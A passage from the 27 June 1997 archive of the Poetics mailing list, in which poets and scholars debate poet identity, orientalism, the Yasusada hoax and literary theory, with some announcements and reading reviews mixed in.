There is no single answer, no prescription, for how and when identity matters, no formula that will let you know for sure if identity is of primary importance in *this* case or *that* one. So I always factor it in, using as much information as I've got available, asking around for more, and depending upon the one constant in all of this, which is that no matter how much I know about a writer, my grasp of his or identity will never be complete. Like identity itself, for me understanding is a process rather than an end to be reached.

Hope this clarifies things.

Kali

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828. **John Cayley**
work(s) <vacation> text(s)
Fri 27 Jun 1997

*** one message for many ***
*** the problem of address ***
*** cross-posting apologetics ***

*** and sign(n)ature ***
*** pretended . embarrassed ***

Hypertext Special issue of _Postmodern Culture_
http://www.iath.virginia.edu/pmc/issue.597/
Book Unbound
http://www.iath.virginia.edu/pmc/issue.597/cayley/

electropoetics issue of _the electronic book review_
http://www.altx.com/ebr/
http://www.altx.com/ebr/ebr5/contents.htm
'Why did they make things like this'
http://www.altx.com/ebr/ebr5/likintro.htm
'The King is dead, long live the King' - HT'97
http://www.altx.com/ebr/ebr5/cayley.htm

Where the Sea Stands Still
http://www.illumin.co.uk/ica/wsss/

WellSweep
http://www.demon.co.uk/eastfield/wells/

beached?

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < - - - - - - - -
- -

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829. Peter Ganick
body-as-text discussion
Fri 27 Jun 1997

hi buffalo-l-er's---------
i don't think alan sondheim would mind if i
forwarded this post of his to the fop-list
made an hour ago--------
it bears relevance to the "body-as-text' discussion
proposed by kdawn earlier----
out--------
peter ganick

> *To:* [redacted]
> *From: Peter Ganick <*[redacted]*>*
> *Subject: Re: E-Minds Discussion*

Sender: FOP-L <[redacted]>
*From: Alan * Sondheim <[redacted]>*
Subject: Re: E-Minds Discussion
To: Multiple recipients of list FOP-L <[redacted]>

I'm curious - with your computing skills and equipment - what are your ultimate goals - what do you want to do?

I find myself constantly having to pare back, for example, ignoring C++ in order to concentrate on the languages I know to some extent, and can use. With essays, I try to read things that are sent me within three days; if not, I have to expunge them.

I move from one operating system to another; I feel I have good knowledge of linux and Win95, poor still of Mac, but getting there. I'm getting close to 250 - 300 messages a day.

I want to feel I'm within the internals of the machine, and understand the psychoanalytical and philosophical ramifications of technology. I want to do this without disregarding the body, or its splitting re: issues of embodiment and virtuality - and I don't want to go for simplistic answers (which usually carry the day). I try to keep up with "the literature" as best I can; much of it seems anecdotal (this is what a MUD does) or naive (cyber-relationships are/aren't "real").

Since I'm not institutionalized, I can rarely go to the conferences I've applied to, to present a paper; there's no money. Since I can't go to the conferences, the feedback on my work is minimal, so I have to conduct imaginary conversations - _here_ I'm naive, _there_ I've maybe made a point. Although I do get into print (off or online) often, there's no real community of discussion surrounded my work, so these dialogs get increasingly psychotic.

Beyond this, I remember when I began thinking through these issues in the 70s (I did something called The Structure of Reality then, which I still refer to), I figured I wanted to work on the mediation of mind and world vis-a-vis formal and informal systems - and how this mediation constructed or was constructed by/for mind. And I've remained fastened on this to the present.

With your work on your computers, adding programs (I remember you talked about all the Network monitoring addons for Win95 you downloaded), I wonder where your interest lies, what your goals are? And I'm sending this to the lists, since I'm curious about others' configurations as well.

(For myself, I've stabilized linux and the Mac and Win95 configs, as well as my Win 3.+ stuff, so they're functional and somewhat interoperational; with the Mac, I've clumsily looked at Applescript, backed out a bit, and

> *do most of my experimentation on linux, either RedHat or Slackware varieties. And I still feel that one needs at least some of this in order to understand TCP/IP or other protocols, to understand the Net in general, beyond the user interface. For the user interface is always a system, as Richard MacKinnon might say, of governance, and there's protocol and governance all the way down, and we had better look at it.)*
>
> *Alan, musing*
>
> *URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt*
> *IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted]*
> *EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE*

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830. **David Israel**

Re: (Fwd) Eliot Weinberger / orientalism?

Fri 27 Jun 1997

A chit to register delight in reading Eliot Weinberger's observations (as forwarded by Kent Johnson). Among his fine points too numerous to number, the distinction between "orientalism" (as homage) and "racism" (as derision) is an interesting one.

The ways in which any writer draws nourishment from writers of the past (whether those writers lives were grounded in lands & cultures that are allegedly "other" such as Asian cultures, or that are supposedly "ours" -- such as so-called western cultures) -- these ways are intimate, subtle, not always easily tracked, and not, I think, usefully susceptible to such fervid, broad-brush condemnations as seemed to issue from Dean Brink (unless I was misreading him?). (I never once thought of the term "new age" in connection w/ the Beneath anthology, btw. There are several fallacies that can emerge from not actually looking at a book that one is maligning. [One might more meaningfully malign if one has glanced at the work in question. ;-}]

IS Socrates or Shakespeare more "mine" than is Li Po or T'ao Yuan-ming or the Buddha? Or are they all "other"? -- I mean, is even Bob Dylan really "mine"? Is John F. Kennedy certainly "mine" while Mohandas Gandhi is definitively "other"?)

These things get complicated. For instance, it so happens that I taught the poetry of Li Po and T'ao Yuan-ming and the life of the Buddha in my Quaker school in Souther Calif. before I was taught about the ideas of Socrates or the plays of

William Shakespeare. I grew up listening to Indian music as well as rock'n'roll as well as classical music etc. Today, is it now reprehensibly "orientalist" of me still to delight in Ravi Shankar (from Benares), but suitable for me enjoy the Beatles (from Liverpool)? In the world, perhaps there are various circles of nearness & distance -- but I'm not sure that geography is quite so bifurcated. Finally, it's all "other" and can only be made "mine" by an act of imagination. To the extent that imagination is sloppy and lumbering and licking in depth, charges of whatever "ISM" may be meaningful, perhaps. But to assume that -- say -- the poetry of American Buddhists must, ipso facto, be new agist or orientalist or any other sort of ist, seems a bit sloppyist.

"Culture" (a term of shifty meanings surely) has collective underpinnings obviously, but it's also personally assembled, individually (re)created. For any poet worth his Hellenistic slave-salt, imaginal affinities will blossom where they will, as they will. It takes work to absorb & gain things from Su T'ung-Po or Shelley or William Carlos Williams -- the very act of reading & absorbing is an appropriation of a sort. But in the view of poets willing to share her writing with future generations, it's not, methinks, inappropriate.

These have been lengthy days, -- simply to keep up w/ the Poetics torrent. Summer at full throttle.

d.i.

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831. David Israel

p.s, re: (Fwd) Eliot Weinberger / orientalism?

Fri 27 Jun 1997

---

amid early morning e-sloppinesses was my omission of the word "was" from one sentence:

<< For instance, it so happens that I *[was]* taught the poetry of Li Po and T'ao Yuan-ming and the life of the Buddha in my Quaker school in Souther Calif. before I was taught about the ideas of Socrates or the plays of William Shakespeare. . . . >>

(Actually, I suppose we studied Moses & Hamlet at more or less the *same* time as we were learning of the Buddha etc.)

Further, Dean -- on one point from your dialogue w/ Kent (since by now he's perhaps unplugged) -- where he says that just only he, but every participant in the Beneath book was being indicted? -- to which you respond that you were only specifically condemning Kent-as-editor? --

one could look back at the flurry & slurry of posts to check, but by my recollection, *Lew* did seem to condemn the whole kit & caboodle. It might be possible that Kent commingled Lew's critique w/ yours -- or did you perhaps approvingly quote Lew (& thus presumably incorporate that broad-brush diatribe by inclusion)? Anyhow, no matter. Perhaps you & KJ will meet on other ground after a time.

d.i.

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832. **Susan Wheeler**

Re: POETICS Digest - 25 Jun 1997 to 26 Jun 1997

Fri 27 Jun 1997

David Israel wrote:
>
>this also remends of an opera by Robert Ashley (an in-progress segment
>of which played in Merkin Hall, NYC some years ago); -- Ashley's sci-fi
>scenario involves a figure (named something like "Bob"?) who, being an
>extraterrestrial investigator of earth civilization, gives (in recetativ)
brief,
>verbal-snapshot reports on various of the folks in his immediate (maybe
>Sunday brunch-like) surround. These (strangely epiphanic) reports are
>presented in the rhetorical form of personsals-ad-style notices ...
>
Isn't this his spy thriller eL/Aficionado, or did he use the personal ad
motifs in more than one?

Susan Wheeler
[redacted]
voice/fax [redacted]

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833. **hg**

Re: Idenity of the poet/Hey! other mind here

Fri 27 Jun 1997

David Bromige's long defense of poetic/reader/relativity/seductivity/autonomy certainly rings true. On the other hand, there's a certain passion for the truth, allied to curiosity, which motivates us to see THROUGH the masks, keep sharpening the focus. What charmed the adolescent reader no longer delights (not in every case, but many). & no, it didn't matter where Mick Jagger came from when you first heard the Stones; but then you heard Robert Johnson's version. Not that one is necessarily better than the other; they just bring to mind

different histories. This is partly what I understand Kali to be talking about. - H. Gould

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834. **hg**
Re: identity of the poet
Fri 27 Jun 1997

On Fri, 27 Jun 1997 09:22:01 +-900 Daniel Tessitore said:
>_____
>
>I don't get a lot of things and on a regular basis, so entertain my
>question put another way:
>
>Saying that R. Johnson is from somewhere in the US and M. Jagger is from
>somewhere in the UK is not the same thing as saying R. Johnson is from
>somewhere in the US and M. Jagger ISN'T from that place.
>
>Do both of these constructions "help," or just one of them?

I think the difference between the 2 statements is a function of the fact that Johnson was the "originator" of the tunes as we know them & Jagger the imitator. But Blarnes told us we couldn't talk about this. Has anyone read Blarnes' new book - _Shelved in Darkness : Sexuality, Identity, and Literacy in Karmic Tailspin_ - available from Univ. of Left Overbie Press soon after the millennium? I know many of you can't have read this yet, not having achieved the Tenth Level of Yogic Relativity, & it's not out yet - for you - but anyway... - Henry G.

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835. **hg**
Re: long article up for criticism if yr up for it!
Fri 27 Jun 1997

On Thu, 26 Jun 1997 19:43:57 -0300 Stephen C. Ellwood said:
>On Tue, 24 Jun 1997, henry g wrote:
>
> If poetry is promoted for its use-value
>> alone (empowerment) the tendency while empowering also blunts the critical
>> edge (or one of its edges, anyway)...
>
>Could you explain this for me a bit? The use value thing, I mean. It
>seems interesting and important but I don't fully grasp what it

>is/you assert it is.
>

By use-value I mean the value of a work of writing for political or propagandistic purposes. A work can be promoted in order to forward the interests of a particular group, but ironically there's an inverse ratio between use-value and intrinsic value. An example: the integrity of any Disney version of a folk tale compared to the original. The Disney version is pure use-value (useful for Disney). I'm speaking in general. Let's not get started on Mickey Mouse or Fantasia, please. - Donald Duck

Actually, this doesn't really get very close to your question. What I mean is, compare "Quiet Flows the Don", a novel very useful to the Stalin regime, to "Master & Margarita". Quiet Flows was useful to the regime to the extent that it was not critical of same. - Woody Woodpecker

Can't you find a better example, Woody? Like, show how a single work loses its critical edge when used for propaganda?
- Ed Sullivan

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836. Eliza McGrand- CVA Guest
Re: heat wave reception...
Fri 27 Jun 1997

please someone -- give joe a popsicle QUICK -- he's beginning to go into popsicle failure... palpatations, rapid pulse, shallow breathing...

i did my chemistry exam yesterday, first of three, and have lived to tell of it. i feel i must shout this to the world.

does anyone have an atom they'd like spectroscopic notation for, perchance? or perhaps orbital analysis? introduction to chemistry must be good for SOMETHING in this cruel cruel world... e

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837. Tom Mandel
individual as syndrome
Fri 27 Jun 1997

Someone (sorry not to know who) wrote:

> *...To me reading poetry and
> prose, and perhaps to an even larger extent looking at visual art, is a
> project of untangling the personality/personal insecurities etc. of the
> author first and foremost.*

Here we have the mess we all have made presented as if it supported an intellectual or even theoretical position. In a nutshell, the model of a "rationalized" "individualism" of consumers on a global scale extending to all manner of relationships winds up in our little "economy" called poetry in the form of an isolated someone thinking of a poem as a looking glass into the author, and the author as a mirror for understanding the self. Reading becomes a "figuring out" of the poem as a stage on the way to figuring out that ultimate mystery "moi." Yuck.

In particular this yuck leads to ideas like "the primacy of the reader" (huh?)

Here's an alternative model: the minute you have two people together it becomes possible to do more than the sum of what the two would be able to do separately. More and other. Think of the poem as a figure of people coming together rather than as a figure of the author's isolation (rhyme or mirror for the reader's isolation).

Lets suppose we pursue that idea in some direct and probably overstated way and conceive of poems as figures of the social contract. Now, there is no problem whatever responding to The Iliad, right? But, there is also no problem responding to Wyatt's poems of exile with their (someone wanted to call them) conventional topoi. Nor to a John Donne sonnet nor Paul Celan's "Tenebrae." How about that?

If I say that I could not be more bored by anything than by "the personality/personal insecurities etc. of the author" (let alone "untangling" them [why?]), I am not stating a difference in taste from the writer of those words. What scope has poetry if this is its use? What possible world would we make of such interests? As I said above, yuck.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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838. **hg**
Re: individual as syndrome
Fri 27 Jun 1997

I think poetry does its thing somewhere in between the Mandel/Bromige divide. We're not all cogs in the collective psyche, either. Two's a crowd. - Spandrift, for Blarnes, who's busy on a millennium-book-promo tour in the 11th dimension.

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839. **Tod Thilleman/Meredith Brosnan**
Re: Poetry New York #9
Fri 27 Jun 1997

much delayed PNY #9 now off the presses. Please e-mail with address and I'll send and bill.

Cover photo and insides by Anne Arden McDonald performance artist from recent Kitchen appearance.

Michael Basinski
Yves Bonnefoy
Michel Butor
Nick Carbo
David Clippinger
Annabelle Honza Clippinger
Denise Duhamel
Graham Duncan
Rachel Blau DuPlessis
Rhina Espaillat
Thomas Fink
Cheryl Fish
Grant Flint
Reid Fontaine
Chris Funkhouser
Peggy Garrison
Loss Pequeno Glazier
Henry Gould
Robert Hershon
Francis Jammes
Devin Johnston
Veronika Kapustina
Alexander Klein
Dean Kostos

Lynn Levin
Bill Luoma
Joan McNerney
Philip Metres
Samuel Menashe
Stephen Paul Miller
Sheila Murphy
Joe Napora
Claire Needell-Hollander
Pablo Neruda
Peter O'Leary
Sylvester Pollet
Carl Rakosi
Corinne Robins
Bertha Rogers
Hoyt Rogers
Leslie Scalapino
Elio Schneeman
Chris Semansky
Lee Sharkey
Chris Stroffolino
John Tipton
Rosanne Wasserman
Ben Wilensky

get it while it be hot!

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840. **Mark Prejsnar**
Re: POETICS Digest - 24 Jun 1997 to 25 Jun 1997
Fri 27 Jun 1997

Responses to poetry, or to the kind of poetries I give a damn about, ought to be very intense on the level of the text..Background doesn't interest some readers, in the first instance. Sound is actually more interesting than biography; but on the other hand, the experience of sound can't be divorced from *social/political* stuff (which ain't true of personal details..) The ear is socially constructed. Many recent posts about "knowing who the poet is," in relation to encountering a poem, come down to a rough consensus that knowing is, for them, a good/important thing..In relation to that, it's pretty interesting to look at the magazine Antenym, which goes out of its way to head in the other direction, using a table of contents to identify the poets, but not identifying 'em in the body of the magazine...So it takes work to i.d. a poet, and in the first instance one's experience

is of "anonymous" work. (If my Atlanta compatriot J. Lowther manages to get his excellent mag Syntactics off the ground soon, there will be at least two examples of this approach..) As Antenym is one of the very best contemporary mags, the decision to downgrade the usual centrality of authorship, is provocative and interesting. (Steve C. may wish to comment, if I am misconstuing his aims or POV)

One of the most fascinating things about Yasusada (and this is the major overlap with Ern Malley, otherwise the political/historical tensions acted out in the two affairs are quite distinct) is that "he" demonstrates the tension between these two levels: the level of immediate engagement with a poetic performance (the antenym-level, as it were) and the background information. People who rapidly praised Yasusada, like Max Harris and his confederates, with their delight in the non-existent Malley, were responding on the antenym-level, saying the sweep of the poetic performance was compelling...Or were they? Certainly some people have insisted in print that it was the faked-up historico-biographical trappings that impressed people about Yasusada, not the work itself..It seems there was a probably a mix of motives, varying from reader to reader.

At this point we haven't yet even addressed the politics of Yasusada; here again questions of "orientalism" in the strictly pejorative Said sense, raise their heads..As, in some sense, must have been the intention of the shadowy cabal floating behind AS! and Susan W formulates some of these very well..But fascinating also is the question of whether you can in some respects experience a poem meaningfully *within a moment* that is pure response to music, to performative fire. I think you can, and that too rapid a desire to insist on *background* slips often into basic establishment anti-modernist literary-ism.

Mark

On Thu, 26 Jun 1997, Susan
Wheeler wrote:

> *Questions that intersect with all three of these threads:*
>
> *Is it possible to successfully construct a text that emulates, or speaks from, another's experience? Is the attempt itself doomed by its lack of access to another's culture? Moreover, is the attempt itself necessarily colonialist/appropriationist -- or does its value depend upon either intent or result? And (Marjorie's question in the Yasasuda brouhaha) is the reader "duped" if the reader mistakes the writer's true identity, or is this simply another function of the text?*
>
> *My own answers differ with the day, so I'm interested in others' --*
>
> *Susan Wheeler*
> [redacted]

> *voice/fax* [redacted]

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841. **Judy Roitman**
Re: Buddhism and Racism
Fri 27 Jun 1997

> *And I just learned on NPR that scat singing owes something to davening and all that Yiddish biddybiddybombom stuff.*
>
> *Cultures just don't seem to be able to stay in their defined places, do they.*
>
> *---------- Judy Roitman | "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted] | Larry Eigner, 1927-1996 ----------*
>
> *Interesting. Did they mention the path of transmission? (oy, sounds like a virus) (from Mark Weiss)*

At least one. Louie Armstrong used to hang out with a Jewish family and was "very comfortable with Jewish ritual" (I that's an approximate quote from Fresh Air --- it was an interview with Armstrong's most recent biographer). But apparently there were other paths as well.

---------- Judy Roitman | "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted] | Larry Eigner, 1927-1996 ----------

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842. **Steve Shoemaker**
Re: body-as-text discussion
Fri 27 Jun 1997

Interesting forward of Alan by Peter. What is "fop-list"? Thanks.

Steve Shoemaker

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843. Alan * Sondheim
Re: body-as-text discussion
Fri 27 Jun 1997

It's a list Laurie Cubbison and I co-moderate, fiction-of-philosophy, [redacted], which contains anything from experimental writing to traditional stuff, with occasional discussion. It's fairly small, around 130.

Alan

On Fri, 27 Jun 1997, Steve Shoemaker wrote:

> *Interesting forward of Alan by Peter. What is "fop-list"? Thanks.*
>
> *Steve Shoemaker*

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

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844. michael corbin
Re: individual as syndrome
Fri 27 Jun 1997

Possibly semi-related to those recent posts on occidentalism, pornography of representation, and poetry after the end of things, gettting to know the author of deeds, etc:

> *Reports from Cambodia over the past two days have suggested that Pol Pot, the leader*
> *of the Khmer Rouge political movement, may have surrendered to breakaway Khmer Rouge*
> *forces in a remote part of northern Cambodia. These reports could not be confirmed independently, but if they are true, a unique opportunity exists to ensure accountability for gross human rights violations committed in the recent past.*

It is true that a trial of Pol Pot (Saloth Sar) would be an amazing late 20th century event, a window to the soul of historical species being. A chance to sink one's teeth into a notion of justice that seems to have become no more than diaphanous will-o-wisp. An arraignment of Saloth Sar sub judice would be a

capsule of possible hope, despite our weak international legalisms and our variously enervated humanisms.

But what contexts for an accounting? Prince Norodom Ranariddh and Hun Sen knew they made a devilish bargain when they granted an amnesty to Khmer Rouge foreign minister, and former Pol Pot brother-in-law Ieng Sary in a true Machiavellian gesture to bolster their variously contested princely realm. This and other gestures and events has succeeded in dividing and conquering the Khmer Rouge and indeed why Pol Pot has been 'captured'. (Ranariddh acknowledges now that maybe Pol Pot won't be 'turned over'). So Pol Pot might make it to the dock but maybe at the high price of the analogs of Geobbels and Eichmann (those like Ta Mok, Khieu Samphan and Nuon Chea) using him to purchase their 'amnesty'.

And of course the potential judges dawdle. The superpower's Areopagus is filled with the money-changers. The right-reverend secretary of state Albright (who has had her memory lapses with other mass death) cancels her trip to Cambodia because of 'safety concerns'. Convenient for the state dept and new-world-clintonism. China has already said that it will throttle a neccessary Security Council(TM) vote for a Tribunal. Will the Canadians or the Dutch show a little pluck using their genocide statutes and take matters into their own hands?

Depite the largest single UN effort of 'peace-making' in its history the Cambodian 'war' has no periodizing Yalta. Thus, like with South Africa's "Truth and Reconciliation Commission" where the Erinyes are held in check by the quid pro quo of confession and amnesty--the plea bargain--Cambodia, and its accomplices and innocents may know no atonement. A talking cure. History splits apart. It can have no Nuremberg. Phnom Penh is not Jerusalem. And justice awaits its suitor.

Of some possible interest:

http://www.cybercambodia.com/dachs/

http://www.yale.edu/cgp/

mc

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845. **groberts**
cfp: Early T.S. Eliot
Fri 27 Jun 1997

Dear Poetics Members,

I will be chairing a panel on the recent publication of Inventions of the March Hare: Poems 1909-1917, for the 1998 Northeastern Modern Language Association convention in Baltimore, April 17-18.

Topics may include but are not limited to early vers libre in English, revision and suppression of early poems, poetic reputation, intertextuality, poetic influence, cultural influence, the composition process, satire and vulgarity, Christopher Ricks' editing, etc., so long as the focus is on the poems in this collection, though not exclusively so of course. No particular critical method is required, and I hope to include different or even conflicting approaches if they will make for an interesting experience.

If you are interested please back-channel me for details. Panelist will need to become members of NEMLA (an easy and cheap enough process), before the conference.

Proposals (at least 500 words) and/or essays (10 pages max.) should be submitted by September 15, 1997. Electronic submissions welcome. Thanks.

Gary Roberts
Department of English and American Literature
Brandeis University
P.O. Box 9110
Waltham, MA 02254
[redacted]

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846. Daniel Tessitore
Re: identity of the poet
Fri 27 Jun 1997

On Mon, 23 Jun 1997 04:20:55 +-900 Daniel Tessitore said:
>HG wrote:
>
> What I thought Kali was saying was that where a writer's coming
>from matters in the same way that it just helps to know that Mick Jagger
>didn't grow up in the Alabama fields inventing Robert Johnson tunes.
>[warning: we already had the Stones discussion. no further comments
>allowed. - Blarnes]
>- HG
>_____
>
>How is knowing where a writer comes from the same as knowing where he or she
>DOESN'T come from? DT

Query relates to Susan Wheeler's. In astrophysics circles, this conundrum is known as the "Pessoa Phase-Warp Effect". Knowing Pessoa's heteronyms don't come from him tells you where Pessoa comes from. Get it? Or: "I am telling you I am not Pessoa." [Logical impasse at work.] Imagination is free and ambiguity is the foundation of our democracy. The perfect imitation of another's experience would be a work of autobiography, not art. The imperfect imitation would be an appropriation; its faulty mimesis would have to be redeemed by its artistry. Here comes another Great American Writer trying to play three chords... I don't think I'll rent the video, even. - Henry G. _____

I don't get a lot of things and on a regular basis, so entertain my question put another way:

Saying that R. Johnson is from somewhere in the US and M. Jagger is from somewhere in the UK is not the same thing as saying R. Johnson is from somewhere in the US and M. Jagger ISN'T from that place.

Do both of these constructions "help," or just one of them?

DT

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847. Daniel Tessitore

Re: masturbation and appropriate texts to be studied

Fri 27 Jun 1997

Eliza wrote:

what i think i picked up from that was that in order for the versimilitude to be of enough magnitude to engulf reader in text, text had to contain reality as readers experienced it, i.e. if they were lost enough to be reading such magazines, male figures in magazines had to be losers as well in order to be believable. women had to be scornful, becasue anyone reading such a magazine should be scorned. it may go deeper than reader/at/reading interaction -- men may in general feel like losers and only encounter scornful women at such juncture as they would read such magazines...

_____

I think this may be a part of it, but also that it is a bit too easy. By this argument, everyone who enjoys any kind of 'unlikely hero' movie must also feel he or she is a kind of real-life loser. Does the endless popularity of Star Wars or Tolkien's books mean that the vast majority of people are mental/emotional hobbits living in holes?

DT

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848. **David Bromige**
individual yuck
Fri 27 Jun 1997

I've been asking myself is there a Mandel/Bromige divide? Tom yucks over "the primacy of the reader," but I only assented to this description of my position (by whom excuse me for forgetting) because it could fit with my belief in "the primacy of the poem" (and this phrase, in turn, is only in an effort to distinguish how I read poems, from "the primacy of the author".) With Bowering & Mandel, I concur, the trouble we have reading _The Iliad_ is only like the trouble we have reading God : after the footnotes, we'll just have to make up our own minds. (Neither of them said anything like that. Still, I think I concur with what they did say.) David

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849. **Pritchett,Pat**
Re: More Naropa Readings
Fri 27 Jun 1997

Last night Naropa offered an embarrassment of poetic riches.

First up was Steven Taylor, who gave a restrained, graceful and downright beautiful reading of a story/memoir called "Eroica" which recounted his adventures in Dubrovinik during the last days of Tito with Allen Ginsberg and Peter Orlovsky. Steven's understated tone and measured cadence demonstrated masterfully how exactitude of observation can elicit the most powerful emotional response. His second piece, a short elegy for Allen, was deeply moving. Unfortunately, I can offer no lines and I don't think quoting them out of context would do them justice anyway. I only hope they both show up in print somewhere soon. (Actually, the second piece did appear in Ed Sanders' Woodstock Journal...)

Next came Dodie Bellamy, who read a Letter of Mina Harker addressed to Sam D'Allessandro. "Gender is the night." Part homage to George Romero, Dodie's amazing combination of deadpan humor and subversive intent with respect to the way we view gender, passion and yes! identity mixed a constant sense of narrative surprise with a piquant unease. The risks she takes in these letters - their candor and their intimacy - give the sharp double sense of pleasure and ambivalence arising from our recognition of the disturbing nature of the familiar -- and the familiarity of the disturbing -- in our private emotional atmospheres.

After this Cole Swensen read, largely from her work-in-progress "O," a cycle of poems about the ways women die in opera (based in part, I gather, from the

work of scholar Catherine Claremont -sp?). The sections bore such titles as: "Death By Suffocation," "Death By Knifing" and the like. Cole's straightforward delivery only underscored the laser-like intensity of these stark, austere meditations on the unspoken male cultural equations drawn between women, eros, suffering, passion and violence. The cumulative effect was hypnotic - an extraordinary rollcall of the dead.

Finally, Carla Harryman took the stage to read from her new novel, "Gardner of the Stars," a double dialogue/narrative spoken by the Gardner and his/her symbiotic other/Double/lover/nemesis M. "Sometimes I associate uselessness with the divine." Her reading was, as might be expected, wild, heady, lyrical, dense, comic, cheeky, unsettling - a complex register in which dreams, gender, identity (the evening's theme?) were inflated, flattened, and reconfigured in defiance of expectation. "Gardner" also featured, as did "Mina Harker," a decapitation, so in concert with Cole's reading, another leitmotif appeared, prompting Aldon Nielsen to incline his head and murmur "There's a lot of detached heads here tonight."

Afterwards some of us adjourned to Dolan's across the street in an effort to raise the detache head quotient, albeit more gently...

Patrick Pritchett

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850. Karlien van den Beukel

Poems, identities and anthologies.

Fri 27 Jun 1997

I too have been following David and Kali's discussion with interest. I like extended analogies too, but mine will be innocuous. In Virginia Woolf's "Mrs Dalloway" (1925) the eponymous heroine is, you will recall, portrayed going morning shopping in Bond Street. Though I will leave it to those interested to look up Mrs Dalloway's interior monologue prior to entering "Mulberry's the florists" I would like to quote that:

Then there were flowers: delphiniums, sweet peas, bunches of lilac; and carnations, masses of carnations. There were roses; there were irises.

A selection of locally-grown English summer species. Now, to return to David's post, he picks a personal florilegium for the ocassion of his writing.(The Latinate word for "anthology" is, like the Greek, etymologically derived from "flower" and "collection"). I thought David's post was delightful and important.

Kali, however, has no time to waste on such nonsense. No, she writes that she "works hard" at her transcendence. She has also worked hard, of late, at articulating her position on identity politics, writing, sexuality, and indeed, her own

status as a sane and rational person. Work all due to her initial rhetorical strategy where she equated David's response to poetry with the mechanical corporeally repetitive responses elicited by pornographic images. Yet, speaking of mechanical repetition, her profoundly alienated intellectual labour cannot allow a space for otium, and speaking of the pornographic image, her chosen analogy operates in the reverse too, revealing a mentality that regards the poem as a use-object.

Otium, like Mrs Dalloway's flaneuring, may be the historical privilege of the materially well-situated, but as an imaginative domain, it should not be negated. It is a sphere where poems are not assigned a restrictive use-value, where poems are not categorised according to their maker's identities in a perhaps theoretically laudable but quite mistaken act to counter the unfairnesses of this world. It is a sphere where the poems one returns to (the interesting poems) are without an objective, without an address.

Dandelion

No blanch witloof handbound dry
heart to racks a comb
lion's-teeth thistlehead golden-hair earth nail
flower-cock up-by-pace dandle lion won't
dwarf lamb closes night season
its long year dumble-dor bumbles
cure wine blowball black fall's-berry
madding sun mixen seeded rebus

This is one of Zukofsky's "80 flowers" (written 1974-1978). I do not know the precise genealogy of Zukofsky's cultural identity, and I doubt very much whether I care. The only biographical item that may be of relevance is the geographical area where he lived, because I do not recognise all the vernacular names of the flowers, and perhaps some of them are indigenous species. These poems are so linguistically rich and subtle, I can return to them with changed eyes every time.

And yet the extended floral analogy is not a rhetorical strategy to invite categorisation of this writing as "irrational" or "feminine". Neither is it a universal peace offering to those who "work hard" at their transcendence. Or even innocuous. Say your identity politics with flowers?

"The absence of domesticated flowers in traditional Africa, except in some areas strongly influence by Islam, was linked to the level of agriculture and to the limits hoe farming placed on the emergence of heavily stratified cultural forms and in particular cultures of luxury, of differentiated styles of life that could develop the 'non-utilitarian', 'aesthetic' aspects of horticulture - or rather could develop crops not primarily oriented to food and war, but to religion, gift-giving and

above all to beauty. [...] Nor yet did they make use of wild ones to any significant extent in worship, in gift-giving, or in decoration of the body [..] or in the domain of design or the creative arts." (The Culture of Flowers, Jack Goody, CUP, 1993).

An ethnocentric Weltanschauung privileges flowers and its represenations in cultural practice.The literal-minded may choose to relate this particular to dominant ideologies (though in the cultures of China and India flowers have a long and important history) and choose to resist, say, "the anthology" as a category, on political grounds. Given her literal concern with genealogies and origin, Kali may even have a new cause.

Karlien van den Beukel
Cambridge, England

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851. Dave Zauhar
reading theory and not reading.
Fri 27 Jun 1997

I got a little behind, so here's a belated summary response about "theory" and "poetry" from someone who is in graduate school trying to write about poetry while trying to write poetry as well. . . . In my six (wince) years of graduate school at two different institutions, only one seminar on poetry has been offered, and that was on TS Eliot. This might be a fluke, I certainly hope so, but there has been at least one seminar on something billed as "theory" every semester. Not that there's anything wrong with that, as they say on Seinfeld, but I would concur that more balance would be helpful. For instance, to pick up on what someone else has mentioned, I know a couple of people whose comprehensive examination reading lists in "post-colonial literature" include tons of Spivak, Said, Bhaba, Ahmad etc, but nothing by, say, Yeats, Conrad, Naipaul, Ramanujan etc, or anyone else writing fiction or poetry, some of which would probably make the theories more interesting and more grounded. WARNING: INCOMING ANECDOTE. At my first institution, the required literary theory seminar featured the usual suspects and revolved around Derrida and Paul de Man. We read _Of Grammatology_ and it made no sense. By the time the seminar ended my attitude toward theory would make David Lehmann look like J.Hillis Miller. At my current institution, Derrida popped up in another course I had to take. This time, however, the instructor suggested to those enrolled that we read Rousseau and Levi-Strauss over the break before the seminar started. The result? _Of Grammatology_ actually made sense. So do Derrida's other essays if one bothers to read the figures he is writing about. However, it's been my experience that "theory" (here speaking of commentary on literary texts

specifically) is often presented as primary material. And I know a lot of graduate students at a variety of institutions who treat it as such, who read _Culture and Imperialism_ w/o rereading _Heart of Darkness_, for example. In short, as someone pointed out, the real problem is not that graduate students are reading too much theory, it's that they're reading theory in a vacuum, or worse, reading theory as an excuse not to read. Why read Shelley if you know what De Man says about the intentional structure of the romantic image? Why read Jabes if you know what Derrida says about his work? Why read Jack Spicer if none of those guys or their disciples has written about him? To the question, what, then, are graduate students reading? the answer at most institutions is, way too many freshman compositions. It's damn hard to read everything when you have to read a lot of those things.

Dave Zauhar

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852. **Henry Gould**

Re: Poems, identities and anthologies.

Fri 27 Jun 1997

Are you saying that because Kali's background is in African-American lit, and because an authority says flowers weren't important in African cultures [debatable, I'm sure], this will motivate her to oppose the "floral" anthological otiose element in poetry?

?

Ai karamba!

Roses are red
violets are blue
poetry's dead
Scen-o-taffy-koo-koo

Daisies are white
Amaryllis are tall
out of Africa night
up against that wall

Poetry's play
life is pure toil
